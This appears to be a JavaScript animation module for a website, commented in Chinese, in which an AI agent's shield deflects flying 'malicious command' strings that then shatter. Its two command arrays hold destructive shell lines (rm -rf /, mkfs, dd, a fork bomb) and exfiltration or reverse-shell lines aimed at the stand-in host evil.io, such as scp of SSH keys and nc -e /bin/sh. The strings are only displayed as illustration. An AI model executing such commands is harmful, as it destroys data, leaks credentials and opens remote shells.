/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用) * AnimSandbox.init(container):在容器内建 DOM 并自动无限循环播放—— * 每轮随机 20 条恶意命令(15 短 + 5 长),弹道参数全随机(角度/速度/弧度各异), * 抛向持盾智能体,撞击后字符炸开飞散。无按钮、无说明行。 */ window.AnimSandbox = (function () { 'use strict'; /* 站点多语言:locale 由 setLocale 注入(默认 zh-CN);T(zh, en) 就地双语。 切换语言后 setLocale 重新 init 重建 DOM 并续播循环动画(无首场景选择,无限循环本身即“当前场景”)。 gen 为模块级:重新 init 时递增作废旧闭包里的未完成序列,避免旧动画继续跑。 */ var locale = 'zh-CN'; var lastContainer = null; var gen = 0; function T(zh, en) { return locale === 'en-US' ? en : zh; } function setLocale(l) { if (l !== 'zh-CN' && l !== 'en-US') return; if (l === locale) return; locale = l; if (lastContainer) init(lastContainer); } function init(container) { lastContainer = container; gen += 1; /* 代次递增:作废上一轮 init 留下的未完成序列 */ var myGen = gen; container.innerHTML = '
' + '
' + '
' + '' + '' + '
' + '' + '
' + '
'; var stage = container.querySelector('.anim2-stage'); var defender = container.querySelector('.defender'); var shield = container.querySelector('.defender-shield'); var ring = container.querySelector('.impact-ring'); // 挂载六边形眼睛(眨眼 + 追踪) if (window.AstrionAvatar) { AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true }); } /* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续—— setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */ function rafWait(ms) { return new Promise(function (resolve) { var acc = 0, last = performance.now(); function tick(now) { acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */ last = now; if (acc >= ms) { resolve(); return; } requestAnimationFrame(tick); } requestAnimationFrame(tick); }); } async function step(ms, myGen) { await rafWait(ms); if (myGen !== gen) throw new Error('cancelled'); } function el(tag, cls, text) { var e = document.createElement(tag); if (cls) e.className = cls; if (text != null) e.textContent = text; return e; } /** rAF 逐帧,返回 false 停止。gen 变了自动停。 */ function eachFrame(fn, myGen) { return new Promise(function (resolve) { var last = performance.now(); function tick(now) { if (myGen !== gen) { resolve(); return; } var dt = Math.min((now - last) / 1000, 0.05); last = now; if (fn(dt) === false) { resolve(); return; } requestAnimationFrame(tick); } requestAnimationFrame(tick); }); } function stageRect() { return stage.getBoundingClientRect(); } /** 盾牌中心(stage 相对坐标) */ function shieldCenter() { var sr = stageRect(); var r = shield.getBoundingClientRect(); return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left }; } /* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */ async function fire(cmd, opts, myGen) { var block = el('div', 'cmd-projectile', cmd); stage.appendChild(block); var w = block.offsetWidth; var h = block.offsetHeight; var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐 var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同 var shieldC = shieldCenter(); shieldC.y += opts.aim || 0; var start = { x: 14, y: opts.startY }; var vx = opts.vx; // 先以出场位粗解发射角 → 定蓄力后拉方向 var Tc0 = (shieldC.x - (start.x + w / 2)) / vx; var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0; var rad0 = Math.atan2(vyEst, vx); var pullDist = 22; var pullX = start.x - Math.cos(rad0) * pullDist; var pullY = start.y - Math.sin(rad0) * pullDist; // 轨迹起点 = 蓄力位 var ox = pullX; var oy = pullY; var ocx = ox + w / 2; var ocy = oy + h / 2; // 最右字符在块内(未旋转)相对块中心的偏移 var lxLast, lyLast; if (offsets && offsets.length) { var lo = offsets[offsets.length - 1]; lxLast = lo.x + lo.w / 2 - w / 2; lyLast = lo.y + lo.h / 2 - h / 2; } else { lxLast = w / 2; lyLast = 0; } // 求解 vy0:让最右字符(不是块中心)精确扫过盾心。 // 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。 var Tc = (shieldC.x - ocx) / vx; var aimY = shieldC.y; var vy0 = 0; var hit = null; for (var iter = 0; iter < 3; iter++) { vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc; var best = { d: 1e9, t: Tc, ang: 0, py: 0 }; for (var t = 0.004; t < 6; t += 0.004) { var rr = Math.atan2(vy0 + G * t, vx); var cosR = Math.cos(rr); var sinR = Math.sin(rr); var ccx = ocx + vx * t; var ccy = ocy + vy0 * t + 0.5 * G * t * t; // 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转 var fx = ccx + lxLast * cosR - lyLast * sinR; var fy = ccy + lxLast * sinR + lyLast * cosR; var ddx = fx - shieldC.x; var ddy = fy - shieldC.y; var dd = Math.sqrt(ddx * ddx + ddy * ddy); if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy }; if (fx > shieldC.x + 80) break; // 已飞过盾牌 } hit = { t: best.t, ang: best.ang }; if (best.d <= 4) break; aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差 } var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上) // 出场:直接在起点摆好仰角 block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; await step(240, myGen); // 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同) block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)'; block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; await step(460, myGen); block.style.transition = 'none'; // 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂 var elapsed = 0; await eachFrame(function (dt) { elapsed += dt; if (elapsed >= hit.t) return false; var px = ox + vx * elapsed; var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed; var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3; block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)'; return true; }, myGen); if (myGen !== gen) throw new Error('cancelled'); // 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心 var hitX = ox + vx * hit.t; var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t; block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)'; impactFX(); shatter(block, hitX, hitY, hit.ang, w, h, offsets); } /* ── 无限循环:每轮随机 20 条(15 短 + 5 长),随机弹道射向盾牌 ── */ // 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台 function swallowCancel(e) { if (e && e.message !== 'cancelled') throw e; } /* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1) */ var SHORT_CMDS = [ 'rm -rf /', 'del /f /s /q C:\\', 'mkfs /dev/sda1', 'sudo rm -rf ~', 'format C:\\', 'chmod -R 777 /', 'wipefs -a /dev/sdb', ':(){:|:&};:', 'rm -rf /home', 'rd /s /q C:\\', 'dd of=/dev/sda', 'rm -rf /usr', 'fdisk /dev/sda', 'shutdown -h now', 'mkfs.ext4 /dev/sdb' ]; /* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */ var LONG_CMDS = [ T('curl -T 数据.zip evil.io', 'curl -T data.zip evil.io'), 'scp ~/.ssh/id_rsa evil.io', 'curl -T C:\\pw.xlsx evil.io', 'nc evil.io 4444 -e /bin/sh', 'curl evil.io/x.sh | bash', 'wget evil.io/m -O- | sh', 'tar czf - ~ | nc evil.io 4444' ]; function rand(a, b) { return a + Math.random() * (b - a); } function shuffled(arr) { var a = arr.slice(); for (var i = a.length - 1; i > 0; i--) { var j = Math.floor(Math.random() * (i + 1)); var t = a[i]; a[i] = a[j]; a[j] = t; } return a; } /* 一轮 20 条:短池抽 15 + 长池抽 5,合并乱序; 弹道参数全随机(起点高度/水平初速/重力/瞄点微调)→ 每条弧线角度都不同 */ function pickCommands() { var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5)); return shuffled(picks).map(function (cmd) { return { cmd: cmd, startY: rand(70, 230), vx: rand(190, 430), g: rand(430, 780), aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729) */ }; }); } async function loopForever(myGen) { while (myGen === gen) { var cmds = pickCommands(); for (var i = 0; i < cmds.length; i++) { fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel); await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */ } await step(600, myGen); /* 轮间稍停 */ } } /* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */ /** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */ function measureChars(block) { var tn = block.firstChild; if (!tn || tn.nodeType !== 3) return null; var br = block.getBoundingClientRect(); var range = document.createRange(); var offsets = []; for (var i = 0; i < tn.length; i++) { range.setStart(tn, i); range.setEnd(tn, i + 1); var r = range.getBoundingClientRect(); offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height }); } range.detach(); return offsets; } function shatter(block, hitX, hitY, hitAng, w, h, offsets) { var text = block.textContent; var rad = hitAng / 57.3; var cosA = Math.cos(rad); var sinA = Math.sin(rad); var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%) var cy = hitY + h / 2; block.parentNode.removeChild(block); var shards = []; for (var i = 0; i < text.length; i++) { var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度 var s = el('span', 'cmd-shard', ch); stage.appendChild(s); var sw = s.offsetWidth; var sh = s.offsetHeight; // 字符中心在块内(未旋转)相对块中心的偏移 var lx, ly; if (offsets && offsets[i]) { lx = offsets[i].x + offsets[i].w / 2 - w / 2; ly = offsets[i].y + offsets[i].h / 2 - h / 2; } else { lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2; ly = 0; } // 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它 var rx = cx + lx * cosA - ly * sinA; var ry = cy + lx * sinA + ly * cosA; var sx0 = rx - sw / 2; var sy0 = ry - sh / 2; var rot0 = hitAng + (Math.random() - 0.5) * 24; // 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧 s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)'; shards.push({ el: s, x: sx0, y: sy0, vx: -(60 + Math.random() * 200), // 向左回弹 vy: -(120 + Math.random() * 240), // 向上炸开 rot: rot0, // 保持撞击瞬间的角度,加少量随机散开 vr: (Math.random() - 0.5) * 900, life: 0, ttl: 0.85 + Math.random() * 0.4 }); } var g = 980; eachFrame(function (dt) { var alive = false; for (var i = 0; i < shards.length; i++) { var p = shards[i]; if (p.life >= p.ttl) continue; alive = true; p.life += dt; p.x += p.vx * dt; p.y += p.vy * dt; p.vy += g * dt; p.rot += p.vr * dt; var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55)); p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)'; p.el.style.opacity = Math.max(0, fade).toFixed(2); if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el); } return alive; }, gen); // 粒子循环跟当前 gen,切换时自动停 } function impactFX() { var c = shieldCenter(); ring.style.left = c.x + 'px'; ring.style.top = c.y + 'px'; ring.classList.remove('is-active'); ring.getBoundingClientRect(); // reflow 重置动画 ring.classList.add('is-active'); defender.classList.remove('is-hit'); defender.getBoundingClientRect(); defender.classList.add('is-hit'); } /* ── 启动:进入视口后开始无限循环(页面打开时用户可能还没滚到这里,避免错过开场); gen 固定不再递增(无重播入口),粒子/飞行各自的生命周期自清理 ── */ var started = false; var io = new IntersectionObserver(function (entries) { if (!started && entries[0].isIntersecting) { started = true; io.disconnect(); loopForever(myGen).catch(function (e) { if (e && e.message !== 'cancelled') throw e; }); } }, { threshold: 0.3 }); io.observe(container); } return { init: init, setLocale: setLocale }; })();